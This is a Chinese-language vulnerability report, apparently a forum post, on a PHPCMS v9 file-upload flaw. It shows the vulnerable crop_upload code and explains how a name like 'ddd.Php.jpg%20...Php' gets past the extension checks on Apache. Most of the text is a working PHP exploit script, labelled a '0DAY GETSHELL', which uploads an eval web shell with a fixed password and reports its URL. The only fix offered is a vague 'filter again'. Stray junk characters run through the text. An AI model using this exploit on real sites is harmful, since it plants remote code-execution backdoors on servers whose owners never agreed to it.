漏洞类型: 文件上传导致任意代码执行
& l( }2 D% O; d8 u* m, Q( f) F& a/ k3 H, G* [: ]# ]" x
简要描述:6 y5 E: q( a" l) K. ]
& U9 v% N2 R4 Q5 [$ W" j
phpcms v9 getshell (apache)
' V$ m9 }& g3 M详细说明:
- X2 R- y( N# p5 L$ f( T+ L# [$ G' W1 U, U+ n7 g0 D
漏洞文件:phpcms\modules\attachment\attachments.php
! A; ~ a4 i1 {) X( p1 T, ~. u
/ S. k3 `( Q( _2 m% e2 Xpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
4 x+ M5 s& k$ T# @1 b6 }* A {0 C+ T后缀检测:phpcms\modules\attachment\functions\global.func.php
/ ^9 z# y# n' M. j4 u. Y
8 |8 H1 @# \' E- }. J# I9 L% ]
* w% m1 v6 j2 V8 b5 k( G* O' y: J2 ~2 w& K" F' x1 |
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } : I! @. T& R+ x5 }3 K+ p# _6 @
. u/ o( B. g0 K+ u F关键函数: ]6 F0 R! ~5 N
/ f2 S) ^2 q1 m' R) ~ 2 P/ D* c* M7 Z; u5 `+ i6 w
, B. `/ x Q" }' \% x8 o
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } 0 b# c; v# J/ p2 i* i, D: i
% v; H! K) h2 C6 Q3 X, t' q) Y
Fileext函数是对文件后缀名的提取。
! y1 ?0 C8 k1 }根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php8 D; w- Z* w9 k* j+ `
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。, K5 [3 l1 G7 [* c: C
我们回到public function crop_upload() 函数中
, Q" L. P) B2 N& R5 P& d; R$ Kif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
2 V) b5 T2 |$ h" H5 Q1 o) I+ t在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数. `+ Y: d% k8 p2 S7 O7 R+ G7 W
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。6 e3 u! y9 y& N% P* q4 f2 `$ b- {. y
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
0 U+ f. \2 ~1 l4 V, I最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
0 b, i, s/ `& r6 e+ k8 s看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。) y! y+ v1 X8 X# Y# k7 W
漏洞证明:8 O/ K& o) `7 p4 ?! [( [& i, w
% |( J) Z( X# V9 }9 ]2 e. T1 D
exp: H. t8 U* e& ~# K
7 C! Z, Y) c8 C- i" T9 U
<?php _ m: o0 Z, M7 U! S
error_reporting(E_ERROR);
: u; v- V. S: H5 u' s3 Tset_time_limit(0);0 j9 Z$ X4 Q2 H0 z7 _! X {3 W* p% c
$pass="ln";1 ~( ~7 c; l5 a5 [8 I4 y
print_r('9 ^+ g9 s: j8 s( o, r9 S
+---------------------------------------------------------------------------+
% q* ^3 H T" g* \& [7 b# _PHPCms V9 GETSHELL 0DAY
2 T' J6 i+ I# l, ncode by L.N.
} ~' B8 a, a( d( R: p6 Q2 U
/ T+ U& X/ l% c- q! ?, j4 Zapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
* H# G+ Y; ]( P# U5 w+---------------------------------------------------------------------------+) i. \7 L. F1 ]! l% Z/ f7 J5 V. B
');
2 i* x" h6 H' m3 q6 ^if ($argc < 2) {0 _* t: V2 }# |& c
print_r('
0 r, K/ e: b& e% ]- h. c+---------------------------------------------------------------------------+ k% o& \7 b5 K# j) P. p' _7 q
Usage: php '.$argv[0].' url path
( f6 B9 i0 U6 T3 W" \' j$ r4 K1 P3 n$ K5 O
Example:+ \ ?. c6 L1 _5 E3 V0 N
1.php '.$argv[0].' lanu.sinaapp.com
/ k5 C1 s# M9 U+ I2.php '.$argv[0].' lanu.sinaapp.com /phpcms
% b; s% _9 y4 D( C' q% G+---------------------------------------------------------------------------+
9 | w: } @: A5 X');% j- k& F/ Z/ f7 M" ]3 ]+ Q
exit;: J. _/ e% k& F! Y
}
+ |0 k" y3 P* E g
7 b: `& C9 Z5 c' j( e$url = $argv[1];
8 e0 u# k9 X* t5 @ c% w$path = $argv[2];
$ m' T7 V5 Z7 [: J8 a7 y% T: t$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';! Q6 W+ e: |! }% v9 ^6 ]
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';& X( @/ P' h$ ?' m/ j. B0 @" O
if($ret=Create_dir($url,$path))0 S$ D, E1 b2 s5 g; Z
{
/ K7 R1 D5 i3 N0 @! r3 K/ K//echo $ret;
5 T$ O& J" d7 q' w( b6 h- x$pattern = "|Server:[^,]+?|U";
2 w6 E ~( m! S! H% h- wpreg_match_all($pattern, $ret, $matches);
$ W E6 h7 c: Y: ~& d) y) iif($matches[0][0])$ l# ^* x" H3 x6 X
{, K# O- j P; Q3 V
if(strpos($matches[0][0],'Apache') == false)
. f' u8 ?% X$ o; t4 O2 {* a6 H+ b{
: ^, u/ z* b7 j+ i6 W3 r0 |3 Z wecho "\n亲!此网站不是apache的网站。\n";exit;# R5 Z6 ?0 x, _/ u
}
* x. g, N9 y$ X: e7 q O; [}
+ h8 w# y+ B( r9 g( k1 h' N4 U8 Q* x$ret = GetShell($url,$phpshell,$path,$file);# a6 j" J; C5 I6 k
$pattern = "|http:\/\/[^,]+?\.,?|U";
2 V% s, ~ E/ \! X9 y; O4 g0 Bpreg_match_all($pattern, $ret, $matches);
) }# n$ D' G b' @& E% C5 Lif($matches[0][0])
0 a+ \0 j9 v3 B6 H9 W{2 t' \! m; c( X6 o9 b- v9 @- G
echo "\n".'密码为: '.$pass."\n";" I# c+ P/ w& s" E
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
# `8 z& C+ O& D6 F}( }) o% f" J7 J8 y
else
# I2 B, ^1 I+ |& Z3 i3 z4 }{) W: F- u( X4 w
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";# r# q Q: Q: @2 n4 @ f
preg_match_all($pattern, $ret, $matches); | i2 T( R# f! T& ?2 C* I
if($matches[0][0]): b3 C7 W: y$ o A
{
* C6 b8 R: R7 K: ]$ _echo "\n".'密码为: '.$pass."\n";7 m8 h) a$ b+ ~
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
, F$ |! X' V' A}/ i7 z9 f9 ` W
else) ^4 N0 |6 k( V. v0 \
{9 ` f5 G2 C, ?# z! x3 ?/ q
echo "\r\n没得到!\n";exit;
) W" }) h2 o* K+ V# D5 D}& ?% v3 y6 _1 ?$ F) W) u/ B: l
}
* \2 |. H- c" ]: x6 \}, ~3 K& O- c4 C: Q9 M) q
( J- q# G$ l. ^& e. Q
function GetShell($url,$shell,$path,$js)5 F! D8 y6 d. r6 V5 ?
{- Z3 h, H4 Y' j, d
$content =$shell;
5 j4 l, P* {4 T' V/ U+ I5 a$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
' l# L# d @1 I# u/ z3 P+ g5 c$data .= "Host: ".$url."\r\n";
( ` i+ a2 g$ s) R' T6 |6 f4 r8 w( O$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
9 b( @1 S s; z3 I$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";* @$ v; a' h5 ]" v
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";- T1 ^9 _# z# k, E6 o
$data .= "Connection: close\r\n";
& ~& O. \2 K' K$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
) j$ Z& L8 f! _) ^7 C$data .= $content."\r\n";% ] m: H& |7 p3 d7 M v
$ock=fsockopen($url,80);
" h5 }6 _3 Z% _ T8 mif (!$ock)
0 X1 o; X* `6 w0 S6 H3 w{
0 W9 U2 I- i$ ~4 Decho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
) |& d% R% o5 F% Y}: G& E$ Y9 T) P' H8 y
else
3 h d. g1 v, b/ W{
& x! _* s3 \5 m* wfwrite($ock,$data);
+ |( x& z# @8 ]' n" a- Z$resp = '';% N. b' l1 m; Z' R( R) B; Y! L! Z5 }: Z
while (!feof($ock))7 @7 I2 x6 d" F8 n
{
+ x) d8 N8 |3 c7 j5 Q; i$resp.=fread($ock, 1024);
2 x$ v Z; Y. l" I3 ?}3 k7 `5 a: D( G& X9 r0 l0 Q& m
return $resp;
( ]" [# G' g1 s6 o& S9 E}
& o) {2 M- i8 A# ]}
N2 ]& c# o! f$ O2 Q: p4 d5 y9 k1 m/ \5 j. h" x9 ?# W* I0 E( ^0 D
function Create_dir($url,$path='')1 K% z4 R* L4 Q* Z; [" M
{
3 l0 ?8 D% g8 g$content ='I love you';
) z6 ]" Y, l5 k6 C N0 A" C$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
! I v: m% z- m$ v$ Q6 S" q- v. }$data .= "Host: ".$url."\r\n";
3 I! b8 G( F K9 a$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$ O% t! c: Q# @* N8 v- {5 n) y$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";& m* p2 I3 B- p8 m J
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
! W' T7 w8 x, E/ S- z4 t$data .= "Connection: close\r\n";0 `4 b) m4 C# ?5 M2 D. z
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
- h# Y, k7 J( @$ b* w; F; I$data .= $content."\r\n";1 _/ S3 S( V1 y- T
$ock=fsockopen($url,80);6 c7 U2 L1 l4 l8 `1 U/ K' F
if (!$ock)7 L* r. Y8 D6 _0 k, Y: c
{9 T5 [8 [/ C1 i$ R0 {8 G
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
/ F+ \3 c- f, o; l4 Z/ c}
0 Q- H0 [' k" v7 Wfwrite($ock,$data);1 k9 w* P! s: t! S" n9 f& N
$resp = '';& I$ j$ U) z) ? X, L: B
while (!feof($ock))! O9 Y5 E3 W2 L# Q7 q% V' v
{
" k* I8 q: a9 a3 V$resp.=fread($ock, 1024);
4 a! D1 f! i# S, R}
' d- x. q9 j% H9 o) w0 ireturn $resp;% W6 b) L2 V8 F+ j
}; |4 M! f; P% f1 m2 F
?>
I x( J$ ~4 v5 |4 I : u: {# U' s( g
修复方案:
" R* a7 S2 z' o5 |9 P/ P H9 s- @, d2 n3 Z
过滤过滤再过滤
1 p. j6 v. |4 L7 a) ]2 }6 {; y& r
2 {/ @ x7 A; k) G1 ~* ?/ C) p |